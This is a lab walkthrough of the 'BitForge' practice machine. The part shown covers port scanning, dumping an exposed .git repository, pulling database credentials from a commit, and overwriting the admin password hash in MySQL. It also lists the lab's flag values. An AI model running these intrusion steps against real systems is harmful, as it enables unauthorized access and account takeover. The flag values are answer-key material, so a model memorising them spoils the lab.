Summary #
On port 80 there is a git repository containing a commit with hardcoded credentials which allows us to log into the MySQL database. Also on port 80 we find a web application called Simple Online Planning v1.52.01
for which an authenticated RCE (CVE-2024-27115) exploit exists. Once we find the default credential hash for this application we can update the current hash with the default admin
hash in the database. This allows us to run the exploit with the admin:admin
credentials and gives initial access. Using pspy64 we find credentials of the jack
user and move laterally. The jack
user can run a script /usr/bin/flask_password_changer
as sudo without a password. Changing the content of the flask application we can escalate our privileges to the root
user.
Specifications #
- Name: BITFORGE
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux BitForge 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.127.186
- OFFSEC provided credentials: None
- HASH:
local.txt
:51d3590f41eea109b3a53cdd451e5b32
- HASH:
proof.txt
:767a87ef164e15521fe3b3f12d70bc78
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir bitforge && cd bitforge && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 24 19:44 .
drwxrwxr-x 41 kali kali 4096 Aug 24 19:44 ..
drwxrwxr-x 2 kali kali 4096 Aug 24 19:44 enum
drwxrwxr-x 2 kali kali 4096 Aug 24 19:44 exploits
drwxrwxr-x 2 kali kali 4096 Aug 24 19:44 files
drwxrwxr-x 2 kali kali 4096 Aug 24 19:44 tools
drwxrwxr-x 2 kali kali 4096 Aug 24 19:44 uploads
## set bash variable
ip=192.168.127.186
## ping target to check if it's online
ping $ip
PING 192.168.127.186 (192.168.127.186) 56(84) bytes of data.
64 bytes from 192.168.127.186: icmp_seq=1 ttl=61 time=18.0 ms
64 bytes from 192.168.127.186: icmp_seq=2 ttl=61 time=18.0 ms
^C
--- 192.168.127.186 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.956/17.965/17.975/0.009 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.127.186:22
Open 192.168.127.186:80
Open 192.168.127.186:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 19:48 CEST
Initiating Ping Scan at 19:48
Scanning 192.168.127.186 [4 ports]
Completed Ping Scan at 19:48, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:48
Completed Parallel DNS resolution of 1 host. at 19:48, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:48
Scanning 192.168.127.186 [3 ports]
Discovered open port 3306/tcp on 192.168.127.186
Discovered open port 22/tcp on 192.168.127.186
Discovered open port 80/tcp on 192.168.127.186
Completed SYN Stealth Scan at 19:48, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.127.186
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-08-24 19:48:11 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,3306
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
| 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
80/tcp open http syn-ack ttl 61 Apache httpd
| http-git:
| 192.168.127.186:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: created .env to store the database configuration
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open mysql syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-15T14:38:11
| Not valid after: 2035-01-13T14:38:11
| MD5: 6ffd:19b3:1593:91e3:ca5f:95c7:4224:8213
| SHA-1: 5a03:d302:2473:ec92:5347:eaca:48cf:80ea:90c3:2a64
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfOC4wLjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTI1MDExNTE0MzgxMVoXDTM1MDExMzE0MzgxMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzguMC40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vlh6B1Ng3HYyQjYZO7ql
| gL8vHWgPjT+76J32PHVd8Czjw/ajdvZEj7oyxaMKL4vtZ4OLEbv8BqIJSoD8XTMg
| abxKU5rlAjv5YQ69uqXL35Em3JMZSDMi2PJfP6y5hN1B1CmaEz84IlkOXlunXC26
| PSqmnsT7XZBu5tqzEkAtx1jncPEoaC6QM/lT2nYY8CwBVOV28o7VG4t9LdzahPak
| ZUaOS7e2qEQXCv3RzCmmwR2WyJHfMmxIwOamv/y1s9KZwsUDCOO0T2WJt6VKc4aC
| 7BC/9pNLxCfDlsf8b/bP41liOofwtlQDs8+2VkYX9xTDzfcK9qDbEgSCKV9nicK/
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAK7Q9X4j
| Wou6+QCXCh+hvKRoOtFjL/IV1r/2uUGnxU43BYCSFOX/jrBHo+nMh8YERb4e3FtZ
| xmjMEjsbypOBk/FftB2Zc7z4rXZuwwexYRmFFE5LamhT8xm7XoTkHrT8VSEroMeD
| cMkxALo3sBsg8CydjVeKF0g3r6O+eRPYQpwelenWr1ZfVEW09yU5BFqmrNKwLye/
| jkgxUphTSuFL7HudjDHXfkstG9k3NCmMQmaleh6/kqVbjQjA6JQ1b7CoF+kXjJux
| va8oXywtNpvaJxf5bSQolR1LlSLx8kcxkJ6VLHJVtr/qBxnL3JwtzBpTzG3Mj/7m
| H2kcLkCMSfA/PHE=
|_-----END CERTIFICATE-----
| mysql-info:
| Protocol: 10
| Version: 8.0.40-0ubuntu0.24.04.1
| Thread ID: 22
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, SupportsCompression, FoundRows, ConnectWithDatabase, ODBCClient, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: 4\x04)\x7F\x1B\x05-+5[k\x0DvhAnJ\x1EH7
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd
| http-git:
| 192.168.127.186:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: created .env to store the database configuration
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open mysql syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-15T14:38:11
| Not valid after: 2035-01-13T14:38:11
| MD5: 6ffd:19b3:1593:91e3:ca5f:95c7:4224:8213
| SHA-1: 5a03:d302:2473:ec92:5347:eaca:48cf:80ea:90c3:2a64
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfOC4wLjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTI1MDExNTE0MzgxMVoXDTM1MDExMzE0MzgxMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzguMC40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vlh6B1Ng3HYyQjYZO7ql
| gL8vHWgPjT+76J32PHVd8Czjw/ajdvZEj7oyxaMKL4vtZ4OLEbv8BqIJSoD8XTMg
| abxKU5rlAjv5YQ69uqXL35Em3JMZSDMi2PJfP6y5hN1B1CmaEz84IlkOXlunXC26
| PSqmnsT7XZBu5tqzEkAtx1jncPEoaC6QM/lT2nYY8CwBVOV28o7VG4t9LdzahPak
| ZUaOS7e2qEQXCv3RzCmmwR2WyJHfMmxIwOamv/y1s9KZwsUDCOO0T2WJt6VKc4aC
| 7BC/9pNLxCfDlsf8b/bP41liOofwtlQDs8+2VkYX9xTDzfcK9qDbEgSCKV9nicK/
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAK7Q9X4j
| Wou6+QCXCh+hvKRoOtFjL/IV1r/2uUGnxU43BYCSFOX/jrBHo+nMh8YERb4e3FtZ
| xmjMEjsbypOBk/FftB2Zc7z4rXZuwwexYRmFFE5LamhT8xm7XoTkHrT8VSEroMeD
| cMkxALo3sBsg8CydjVeKF0g3r6O+eRPYQpwelenWr1ZfVEW09yU5BFqmrNKwLye/
| jkgxUphTSuFL7HudjDHXfkstG9k3NCmMQmaleh6/kqVbjQjA6JQ1b7CoF+kXjJux
| va8oXywtNpvaJxf5bSQolR1LlSLx8kcxkJ6VLHJVtr/qBxnL3JwtzBpTzG3Mj/7m
| H2kcLkCMSfA/PHE=
|_-----END CERTIFICATE-----
| mysql-info:
| Protocol: 10
| Version: 8.0.40-0ubuntu0.24.04.1
| Thread ID: 22
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, SupportsCompression, FoundRows, ConnectWithDatabase, ODBCClient, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: 4\x04)\x7F\x1B\x05-+5[k\x0DvhAnJ\x1EH7
|_ Auth Plugin Name: caching_sha2_password
In the NMAP output of port 80 we see there is a hostname http://bitforge.lab/
and a Git repository has been found. First add the hostname to /etc/hosts
(by editing the file or with this command) and then visit the page in the browser, URL: http://bitforge.lab/
.
echo "192.168.127.186 bitforge.lab" | sudo tee -a /etc/hosts
There is a menu item called EMPLOYEE PLANNING PORTAL
.

Once we click on it, the site redirects to: http://plan.bitforge.lab/
. So we also need to add this to the /etc/hosts
file (manually or by this command).
echo "192.168.127.186 plan.bitforge.lab" | sudo tee -a /etc/hosts
Now refresh the page. A login screen is shown with the application name and version: Simple Online Planning v1.52.01
.

Searching the internet we can find a authenticated RCE (CVE-2024-27115) however, we don’t have credentials. So let’s switch to the Git NMAP detection. There’s an application called git-dumper
(https://github.com/arthaud/git-dumper) which we’re going to clone. Create a Python virtual environment, install the required packages and run the tool to download the .git repository from the target.
## change directory
cd tools
## clone the git-dumper repository
git clone https://github.com/arthaud/git-dumper.git
Cloning into 'git-dumper'...
remote: Enumerating objects: 204, done.
remote: Counting objects: 100% (104/104), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 204 (delta 69), reused 60 (delta 58), pack-reused 100 (from 2)
Receiving objects: 100% (204/204), 66.14 KiB | 728.00 KiB/s, done.
Resolving deltas: 100% (106/106), done.
## change directory
cd git-dumper
## create a python virtual environment, called `venv`, to keep our environment clean
python3 -m venv venv
## activate the virtual environment
source venv/bin/activate
## install the requirements from the `requirements.txt`
pip3 install -r requirements.txt
Collecting PySocks (from -r requirements.txt (line 1))
Using cached PySocks-1.7.1-py3-none-any.whl.metadata (13 kB)
Collecting requests (from -r requirements.txt (line 2))
Downloading requests-2.32.5-py3-none-any.whl.metadata (4.9 kB)
Collecting beautifulsoup4 (from -r requirements.txt (line 3))
Downloading beautifulsoup4-4.13.5-py3-none-any.whl.metadata (3.8 kB)
Collecting dulwich (from -r requirements.txt (line 4))
Downloading dulwich-0.24.1-cp313-cp313-manylinux_2_28_x86_64.whl.metadata (5.2 kB)
Collecting requests-pkcs12 (from -r requirements.txt (line 5))
Using cached requests_pkcs12-1.25-py3-none-any.whl.metadata (3.5 kB)
Collecting charset_normalizer<4,>=2 (from requests->-r requirements.txt (line 2))
Downloading charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (36 kB)
Collecting idna<4,>=2.5 (from requests->-r requirements.txt (line 2))
Using cached idna-3.10-py3-none-any.whl.metadata (10 kB)
Collecting urllib3<3,>=1.21.1 (from requests->-r requirements.txt (line 2))
Using cached urllib3-2.5.0-py3-none-any.whl.metadata (6.5 kB)
Collecting certifi>=2017.4.17 (from requests->-r requirements.txt (line 2))
Downloading certifi-2025.8.3-py3-none-any.whl.metadata (2.4 kB)
Collecting soupsieve>1.2 (from beautifulsoup4->-r requirements.txt (line 3))
Downloading soupsieve-2.7-py3-none-any.whl.metadata (4.6 kB)
Collecting typing-extensions>=4.0.0 (from beautifulsoup4->-r requirements.txt (line 3))
Downloading typing_extensions-4.14.1-py3-none-any.whl.metadata (3.0 kB)
Collecting cryptography>=42.0.0 (from requests-pkcs12->-r requirements.txt (line 5))
Downloading cryptography-45.0.6-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (5.7 kB)
Collecting cffi>=1.14 (from cryptography>=42.0.0->requests-pkcs12->-r requirements.txt (line 5))
Using cached cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (1.5 kB)
Collecting pycparser (from cffi>=1.14->cryptography>=42.0.0->requests-pkcs12->-r requirements.txt (line 5))
Using cached pycparser-2.22-py3-none-any.whl.metadata (943 bytes)
Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Downloading requests-2.32.5-py3-none-any.whl (64 kB)
Downloading charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (151 kB)
Using cached idna-3.10-py3-none-any.whl (70 kB)
Using cached urllib3-2.5.0-py3-none-any.whl (129 kB)
Downloading beautifulsoup4-4.13.5-py3-none-any.whl (105 kB)
Downloading dulwich-0.24.1-cp313-cp313-manylinux_2_28_x86_64.whl (1.2 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.2/1.2 MB 30.0 MB/s eta 0:00:00
Using cached requests_pkcs12-1.25-py3-none-any.whl (6.1 kB)
Downloading certifi-2025.8.3-py3-none-any.whl (161 kB)
Downloading cryptography-45.0.6-cp311-abi3-manylinux_2_34_x86_64.whl (4.5 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.5/4.5 MB 37.1 MB/s eta 0:00:00
Using cached cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (479 kB)
Downloading soupsieve-2.7-py3-none-any.whl (36 kB)
Downloading typing_extensions-4.14.1-py3-none-any.whl (43 kB)
Using cached pycparser-2.22-py3-none-any.whl (117 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, PySocks, pycparser, idna, charset_normalizer, certifi, requests, dulwich, cffi, beautifulsoup4, cryptography, requests-pkcs12
Successfully installed PySocks-1.7.1 beautifulsoup4-4.13.5 certifi-2025.8.3 cffi-1.17.1 charset_normalizer-3.4.3 cryptography-45.0.6 dulwich-0.24.1 idna-3.10 pycparser-2.22 requests-2.32.5 requests-pkcs12-1.25 soupsieve-2.7 typing-extensions-4.14.1 urllib3-2.5.0
## make a directory to download to
mkdir git
## run `git-dumper` and dump it in the `git` directory
./git_dumper.py http://192.168.127.186/.git ./git
[-] Testing http://192.168.127.186/.git/HEAD [200]
[-] Testing http://192.168.127.186/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.127.186/.gitignore [404]
[-] Fetching http://192.168.127.186/.git/ [200]
[-] http://192.168.127.186/.gitignore responded with status code 404
[-] Fetching http://192.168.127.186/.git/objects/ [200]
[-] Fetching http://192.168.127.186/.git/logs/ [200]
[-] Fetching http://192.168.127.186/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.127.186/.git/branches/ [200]
[-] Fetching http://192.168.127.186/.git/description [200]
[-] Fetching http://192.168.127.186/.git/config [200]
[-] Fetching http://192.168.127.186/.git/hooks/ [200]
[-] Fetching http://192.168.127.186/.git/index [200]
[-] Fetching http://192.168.127.186/.git/HEAD [200]
[-] Fetching http://192.168.127.186/.git/refs/ [200]
[-] Fetching http://192.168.127.186/.git/objects/00/ [200]
[-] Fetching http://192.168.127.186/.git/objects/1c/ [200]
[-] Fetching http://192.168.127.186/.git/objects/18/ [200]
[-] Fetching http://192.168.127.186/.git/objects/30/ [200]
[-] Fetching http://192.168.127.186/.git/objects/73/ [200]
[-] Fetching http://192.168.127.186/.git/objects/c1/ [200]
[-] Fetching http://192.168.127.186/.git/objects/c3/ [200]
[-] Fetching http://192.168.127.186/.git/objects/d7/ [200]
[-] Fetching http://192.168.127.186/.git/objects/e6/ [200]
[-] Fetching http://192.168.127.186/.git/objects/ea/ [200]
[-] Fetching http://192.168.127.186/.git/objects/f4/ [200]
[-] Fetching http://192.168.127.186/.git/objects/info/ [200]
[-] Fetching http://192.168.127.186/.git/objects/pack/ [200]
[-] Fetching http://192.168.127.186/.git/logs/HEAD [200]
[-] Fetching http://192.168.127.186/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/ [200]
[-] Fetching http://192.168.127.186/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://192.168.127.186/.git/hooks/update.sample [200]
[-] Fetching http://192.168.127.186/.git/refs/heads/ [200]
[-] Fetching http://192.168.127.186/.git/refs/tags/ [200]
[-] Fetching http://192.168.127.186/.git/objects/1c/e700a508aec3d5e4d4aa1b128a662f2c85f5ad [200]
[-] Fetching http://192.168.127.186/.git/objects/18/833b811e967ab8bec631344a6809aa4af59480 [200]
[-] Fetching http://192.168.127.186/.git/objects/00/e275f0312b12c2cff58aad73d04031fdc81672 [200]
[-] Fetching http://192.168.127.186/.git/objects/30/db4b417dfe5ee173820f8fc66de3955d43080a [200]
[-] Fetching http://192.168.127.186/.git/objects/73/6aa9abed880f8f8f2495c00a497c13f3acc593 [200]
[-] Fetching http://192.168.127.186/.git/objects/c1/d2b964d494b941768e48e5ec662c225fb7de71 [200]
[-] Fetching http://192.168.127.186/.git/objects/c3/4ab8d157d8c6466c8c321034b4d1863941fa38 [200]
[-] Fetching http://192.168.127.186/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://192.168.127.186/.git/objects/f4/f6de69896baa2ecbb1084e604be81343833bfa [200]
[-] Fetching http://192.168.127.186/.git/objects/ea/f6c81951775e4202e40762b3300cc936cf4df1 [200]
[-] Fetching http://192.168.127.186/.git/objects/d7/8466e1ab69dbdd943503e192070450b4787be5 [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/heads/ [200]
[-] Fetching http://192.168.127.186/.git/refs/heads/main [200]
[-] Fetching http://192.168.127.186/.git/logs/refs/heads/main [200]
[-] Fetching http://192.168.127.186/.git/info/ [200]
[-] Fetching http://192.168.127.186/.git/info/exclude [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 3 paths from the index
## deactivate the virtual environment
deactivate
## change directory
cd git
## list the content of the `git` directory
ls -la
total 32
drwxrwxr-x 3 kali kali 4096 Aug 24 20:21 .
drwxrwxr-x 6 kali kali 4096 Aug 24 20:21 ..
-rw-rw-r-- 1 kali kali 0 Aug 24 20:21 .env
drwxrwxr-x 7 kali kali 4096 Aug 24 20:21 .git
-rw-rw-r-- 1 kali kali 9110 Aug 24 20:21 index.php
-rw-rw-r-- 1 kali kali 5440 Aug 24 20:21 login.php
Now that we have downloaded the git repository from the target, locally, let’s see if there are interesting commits. There is a commit called: removing db-config due to hard coded credentials
with the hash: eaf6c81951775e4202e40762b3300cc936cf4df1
. Showing the commit prints a hardcoded credential: BitForgeAdmin:B1tForG3S0ftw4r3S0lutions
for the bitforge_customer_db
database.
## show commit logs
git log
commit 1ce700a508aec3d5e4d4aa1b128a662f2c85f5ad (HEAD -> main)
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date: Mon Dec 16 16:44:48 2024 +0000
created .env to store the database configuration
commit eaf6c81951775e4202e40762b3300cc936cf4df1
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date: Mon Dec 16 16:44:05 2024 +0000
removing db-config due to hard coded credentials
commit 18833b811e967ab8bec631344a6809aa4af59480
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date: Mon Dec 16 16:43:08 2024 +0000
added the database configuration
commit f4f6de69896baa2ecbb1084e604be81343833bfa
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date: Mon Dec 16 16:41:54 2024 +0000
setting up login and index page for the BitForge website
## show the commit for: `eaf6c81951775e4202e40762b3300cc936cf4df1`
git show eaf6c81951775e4202e40762b3300cc936cf4df1
commit eaf6c81951775e4202e40762b3300cc936cf4df1
Author: McSam Ardayfio <mcsam@bitforge.lab>
Date: Mon Dec 16 16:44:05 2024 +0000
removing db-config due to hard coded credentials
diff --git a/db-config.php b/db-config.php
deleted file mode 100644
index c1d2b96..0000000
--- a/db-config.php
+++ /dev/null
@@ -1,19 +0,0 @@
-<?php
-// Database configuration
-$dbHost = 'localhost'; // Change if your database is hosted elsewhere
-$dbName = 'bitforge_customer_db';
-$username = 'BitForgeAdmin';
-$password = 'B1tForG3S0ftw4r3S0lutions';
-
-try {
- $dsn = "mysql:host=$dbHost;dbname=$dbName;charset=utf8mb4";
- $pdo = new PDO($dsn, $username, $password);
-
- $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
-
- echo "Connected successfully to the database!";
-} catch (PDOException $e) {
- echo "Connection failed: " . $e->getMessage();
-}
-?>
-
Let’s try to use these credentials (BitForgeAdmin:B1tForG3S0ftw4r3S0lutions
) on port 3306 (MySQL). Use --skip-ssl
to ignore the self-signed certificate in certificate chain
error. After logging in we find a registered hash for the admin
user.
## run `mysql` with the credentials
mysql -u BitForgeAdmin -h $ip -P 3306 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 85
Server version: 8.0.40-0ubuntu0.24.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
## list all databases
MySQL [(none)]> show databases;
+----------------------+
| Database |
+----------------------+
| bitforge_customer_db |
| information_schema |
| performance_schema |
| soplanning |
+----------------------+
## use database `soplanning`
MySQL [bitforge_customer_db]> use soplanning;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
## show all tables in the database
MySQL [soplanning]> show tables;
+----------------------------+
| Tables_in_soplanning |
+----------------------------+
| planning_audit |
| planning_config |
| planning_ferie |
| planning_groupe |
| planning_lieu |
| planning_periode |
| planning_projet |
| planning_projet_user_tarif |
| planning_ressource |
| planning_right_on_user |
| planning_status |
| planning_user |
| planning_user_groupe |
+----------------------------+
13 rows in set (0.021 sec)
## print details on the `planning_user` table
MySQL [soplanning]> describe planning_user;
+----------------------+--------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------------------+--------------------+------+-----+---------+-------+
| user_id | varchar(20) | NO | PRI | | |
| user_groupe_id | int | YES | MUL | NULL | |
| nom | varchar(50) | NO | | | |
| login | varchar(100) | YES | | NULL | |
| password | varchar(50) | YES | | NULL | |
| email | varchar(255) | YES | | NULL | |
| visible_planning | enum('oui','non') | NO | | oui | |
| couleur | varchar(6) | YES | | NULL | |
| droits | text | YES | | NULL | |
| cle | varchar(40) | NO | | | |
| notifications | enum('oui','non') | NO | | non | |
| adresse | varchar(255) | YES | | NULL | |
| telephone | varchar(20) | YES | | NULL | |
| mobile | varchar(20) | YES | | NULL | |
| metier | varchar(50) | YES | | NULL | |
| commentaire | varchar(255) | YES | | NULL | |
| date_dernier_login | datetime | YES | | NULL | |
| preferences | text | YES | | NULL | |
| login_actif | enum('oui','non') | NO | | oui | |
| google_2fa | enum('setup','ok') | NO | | setup | |
| date_creation | datetime | YES | | NULL | |
| date_modif | datetime | YES | | NULL | |
| tutoriel | varchar(255) | YES | | NULL | |
| tarif_horaire_defaut | float | YES | | NULL | |
+----------------------+--------------------+------+-----+---------+-------+
24 rows in set (0.020 sec)
## select data from this table for specific columns
MySQL [soplanning]> select user_id,nom,login,password from planning_user;
+-----------+---------------+-------+------------------------------------------+
| user_id | nom | login | password |
+-----------+---------------+-------+------------------------------------------+
| ADM | admin | admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee |
| publicspl | Guest | NULL | NULL |
| user1 | Test people 1 | NULL | NULL |
| user2 | Test people 2 | NULL | NULL |
| user3 | Test people 3 | NULL | NULL |
+-----------+---------------+-------+------------------------------------------+
5 rows in set (0.019 sec)
Unfortunately, we cannot crack this hash using hashcat. What we can do is find the default hash of this application (admin
) and replace the current value in the database with the default hash. To find this hash, go to the application source (fork) and copy the hash of the password: https://github.com/Worteks/soplanning/blob/master/includes/demo_data.inc, df5b909019c9b1659e86e0d6bf8da81d6fa3499e
.
Now let’s replace the current hash with this default hash for admin
.
## update the value with the default password hash for `admin`
MySQL [soplanning]> UPDATE planning_user SET password="df5b909019c9b1659e86e0d6bf8da81d6fa3499e" WHERE user_id="ADM";
Query OK, 1 row affected (0.024 sec)
Rows matched: 1 Changed: 1 Warnings: 0
